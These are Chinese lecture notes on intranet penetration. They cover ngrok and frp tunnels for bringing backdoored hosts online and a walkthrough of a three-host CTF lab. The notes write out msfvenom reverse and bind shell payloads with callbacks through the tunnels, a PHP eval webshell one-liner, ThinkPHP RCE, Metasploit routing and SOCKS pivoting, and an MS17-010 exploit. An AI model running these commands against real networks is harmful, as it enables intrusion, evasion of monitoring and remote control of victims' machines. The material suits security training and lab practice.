这节课解决代理的问题,
他是内网里面的穿透技术,隧道主要安全设备和流量监控的拦截问题,我们在做渗透的时候需要回显数据或者一些重要的信息,走的协议不一样,tcp/ip有七层,
在不同层里面有不同的协议,有一些协议会受到防火墙,过滤设备和流量检测工具的干扰,在内网回显数据和拖数据的会出现一些拦截和告警,隧道技术主要就是解决这个事情;
两个肉鸡都在内网,就必须借助代理才能实现,代理利用工具比较知名的比如,frp,ngrok,ew,不过ew已经停止更新了,以后就用不到了,
代理主要结局的问题,内网里面的主机有外网;内网里面有过滤;内网里面外网,单纯一个主机服务器没有网络;
必要知识点;
内外网络划分,
IPv4地址设计时保留了一部分作为私有地址,它们不会被当作共有地址分配出去,而是只在局域网内使用
地址段 掩码
10.x.x.x 255.0.0.0
172.16.x.x-172.31.x.x 255.240.0.0
192.168.x.x 255.255.0.0
内网一和内网二通信问题;
主机一在内网一这里,主机二就在内网二这里,就好比宿舍的上网和工作室上网,虽然都在内网里面但不是一个内网,这两个要实现通讯,比如主机一msf生成一个后门,然后发给主机二,让主机二上线,是上不了线的,因为都是内网,除非使用代理技术;
正向反向协议通信连接问题
正向就是我去链接肉鸡,反向就是肉鸡主动联系我,
内网穿透代理隧道技术说明
隧道主要就是解决防火墙,流量监控工具的拦截,代理解决网络连通性问题
案例一内网穿透Ngrok测试演示-两个内网通讯上线
拓扑图;我们用的是自己的内网的虚拟机kali,生成后门,想控制这台肉鸡,理论上不涉及代理是一定控制不了的,因为两者都是内网,生成后门的时候如果写的是外面地址,肉鸡连接到时候就找到的路由器,如果写的内网ip,那肉鸡根本就找不到,
这就要借助ngrok来实现联通;
在使用ngrok的他会在外网启用一台服务器,就会,肉鸡在找黑客的时候,肉鸡会先找到服务器,服务器在传输给黑客的主机;这个工具就是在外网加设一台服务器,这个外网服务器,黑客和肉鸡都可以访问,
内网穿透Ngrok测试演示-两个内网通讯上线
http://www.ngrok.cc/
实验环境:两个不同的内网(有网络)实现穿透控制
1.注册-购买-填写-确认
注册账号,根据操作系统选择对应的客户端
不会使用可以看使用教程
选“开通隧道”,根据需要购买服务器
隧道协议选择后门要使用的协议,注意一下;随便写一个名称和域名
本地端口是攻击机的地址端口。可以先随便写,后面可以改
如果希望隧道有验证身份的用户名和密码可以填写验证用户名和验证密码
配置好之后在来到隧道代理
攻击机要安装Ngrok,被攻击机只需要正常启动 ,然后先来到下载,复制到攻击机,来到它这个目录
,
运行它,在clinetid后门跟上id
开启成功后,别人访问这个http的王子,就会指向后面的ip,后面的ip就是黑客主机ip。
现在就可以用msf生成一个后门
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o
这里选择的协议要和建立代理的时候对应,都是http,后门的后门地址就是我们代理的网址,端口也是代理的端口,反弹的shell也会在反弹到代理上面,所有东西就会传输到代理上面,代理在传输给本机。
然后把生成的后门上传到肉鸡上面
之后在本机上面配置好信息,因为开了代理,所有的流量都会执行本机ip的4444端口,所以监听ip和端口设置跟代理传输的ip和端口一致就行
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
Exploit
接收到数据了,代理也成功传输数据、
案例二内网穿透Frp自建跳板测试-两个内网通讯上线
目前最主流的工具,用到frp就要自己准备一台服务器,
自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们
1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)
下载好之后的所有文件
frpc.ini;这个c结尾的就是客户端,frps.ini;这个是代表server服务端,在本机上上就只要修改frpc.ini
控制端修改配置文件frpc.ini:
[common]
server_addr = 外网服务器ip
server_port = 6677 #frpc工作端口,必须和frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1 本机ip即可
local_port = 5555 #转发给本机的5555端口
remote_port = 6000 #服务端用6000端口转发给本机
服务器修改配置文件frps.ini:
[common]
bind_port = 6677 #frps工作端口,必须和frpc保持一致
启动服务端:
./frps -c ./frps.ini
启动客户端
然后在服务端就成功受到了端口就链接
生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=[服务端IP地址] lport=6000 -f exe -o frp.exe
把木马上传到肉鸡上面去执行
监听后门
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
没有问题,管你在那个内网,老子直接穿透你,
案例三CFS三层内网漫游安全测试演练-某CTF线下2019
内网环境拓扑图
这个题目在每一台主机里面都有一个flag,这个题目一看就涉及到代理知识,不做跳板没有办法进行下去;
第一个靶机
选择只有那台外网主机是本机可以访问到的,实际上情况下就需要端口扫描一下找到,
5.0直接用thinkphp渗透工具直接秒他就行了
命令执行成功,直接写入一个webshell到网站目录
echo '<?php eval($_POST[x]);?>'> >/www/wwwroot/ThinkPHP/public/2.php
然后直接用蚁剑链接上线,渗透第一个肉鸡,
第一个flag值拿下
第二个靶机
探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag-Target2
0.端口扫描,发现目标主机。发现ThinkPHPv5框架,使用对应的exp写入后门
第二个肉鸡有22和33两个网段,本机连接不了22端口,就必须借助第一个肉鸡才能链接,用第一台肉鸡去链接第二个靶机
1.生成后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf
先开启监听状态
然后通过蚁剑把我们的生成后门上传到第一个肉鸡上命来,之后打开虚拟终端直接执行后门
接收到了反弹shell
接下来该如何让这个kali可以分为22网段呢,就是第二台靶机,在msf有自带的代理加持,
3.信息收集及配置访问
探索内网并添加路由,从而发现和联系上内网
获取网络接口:run get_local_subnets
先通过网络接口来判断,在实战情况下,我们是不会知道第二胎靶机的网络的,前期就要进行信息收集,就用到这条命令获取网卡信息,
就可以看到有两个网卡,22网卡就是内网链接的,知道了网卡之后,但是不能访问,这时候就要查看路由,建立路由规则,
查看路由地址:run autoroute -p
空的没有路由
添加路由地址:run autoroute -s 192.168.22.0/24
再查看路由,就多了一个路由地址
然后路由哪里表示了给s1,刚刚反弹的shell是s1的,就是在s1上面多了这个路由,s1上命就有了22网卡,就相当于添加了一个网络接口,由于是建立到s1,所以就是建立在肉鸡一上面的,所以添加路由能成功的原因,就在于是靶机一上面。
通讯成功了接下来就是攻击,但是这个通讯有点问题,只有在msf能进行通讯,因为路由是写在msf上面,有一些工具不享有路由规则,就无法访问
就只能在msf会话上面攻击,这时候就需要在本地开一个代理,这个代理就相当于,给其他人一个接口,人其他工具去访问这个接口,在kali上面开一个2222端口,我就可以通过我本机访问kali的2222端口,本机链接kali就能访问靶机一,而靶机一又可以访问靶机二,本机和靶机二就通了。
开启本地代理:
use auxiliary/server/socks4a
set srvport 2222
exploit
4.利用本地代理接口访问测试
linux:
接下来就要用到一个工具proxychains,
配置proxychains后调用工具探针Target2
/etc/proxychains.conf
socks4 192.168.76.132 2222
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 ;接下来用这个工具,调用nmap扫描22这个网段的时候,就会走192.168.76.132: 2222这个端口,就会享有msf配置的22端口路由,
-Pn:不使用ping扫描,不执行主机发现,默认目标主机是存活的,可以绕开防火墙。
-sT:使用TCP连接,与目标三次握手,来确定端口是否开放
开始namp扫描
直接扫(target2的网站)192.168.22.129:
然后扫描出来
然后我们直接访问这个网站是访问不到的,就可以在浏览器哪里开一个代理,在收到配置代理的时候就有一个sosks v4的选项,就是我们本机开的代理+
就能访问靶机二的web界面
由于是ctf在源代码里面会有一些线索
给了一个注入点,
sqlmap和手工注入都可以,注入找到账号密码
就要开始登陆他的后台,然后一般网站为了防止爬虫会把敏感目录写道一个rebots文件,刚好这个就用,还有敏感目录
登录后台
flag就拿到了,但这里是后台做不了代理,通过后台一些功能拿webshell
根据网站的路由规则访问这个文件:
http://192.168.22.128/index.php?r=special
写一个后门,拿下webshell,但是我们怎么去链接他也是个问题,不过蚁剑有代理功能,就可以链接了
拿下webshell,
这里还有一个方法,在windows下可以装个Proxifier ,这是一个全局代理工具,
下面所有应用程序都会走这个代理
在windows下可以装个SocksCap64
给指定程序开启代理
然后点在代理种运行,这个是避免上面全局代理不支持的软件,这个全都支持
然后为了拿下第三台靶机,又要在第二台肉鸡上做操作
这里要在msf生成一个正向后门,这里为什么要做正向代理,因为第二胎肉鸡,他没有76网段,只有22和33网段,写成反向代理,第二台肉鸡找不到kali;但是kali已经按到了第一台肉鸡的权限啊,有他shell在,还添加了22的路由,在第二台肉鸡可以添加路由吗?不可能,路由只能在是让肉鸡上线才能操作,这上线都没有上线,操作个鸡毛,所以只能kali自己去链接第二台肉鸡
1.生成正向后门:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
bind绑定,这个后门会绑定在他本地的3333端口,
生成后门文件之后之后,利用蚁剑把后门文件上传到第二台肉鸡,
2.访问接受:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit
开启监听
用蚁剑执行后门文件
第三台肉鸡
就拿到了反弹shell,添加33网段路由
然后就是和上面一样的操作,在在本地开一个代理,让别人软件可以通过这个代理去访问第三胎肉鸡的33网段上面的东西,
漏洞利用,找到flag
proxychains4 nmap -Pn -sT 192.168.33.33
利用本地代理执行nmap扫描,加上参数--script=all 扫描windows的系统漏洞
扫出来一个ms17010,永恒之蓝漏洞
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
因为第三台肉鸡无法主动找我,只能我去找他,所以paylaod还是绑定
set RHOST 192.168.33.33
设置肉鸡的ip
exploit
这里老师链接上了本地代理,别的东西都通过本地代理访问的第三台肉鸡,设置好本地代理才能继续下去,拿下第三个肉鸡
dir /S flag.txt /B
type xxxxx.txt
完成
fa
cai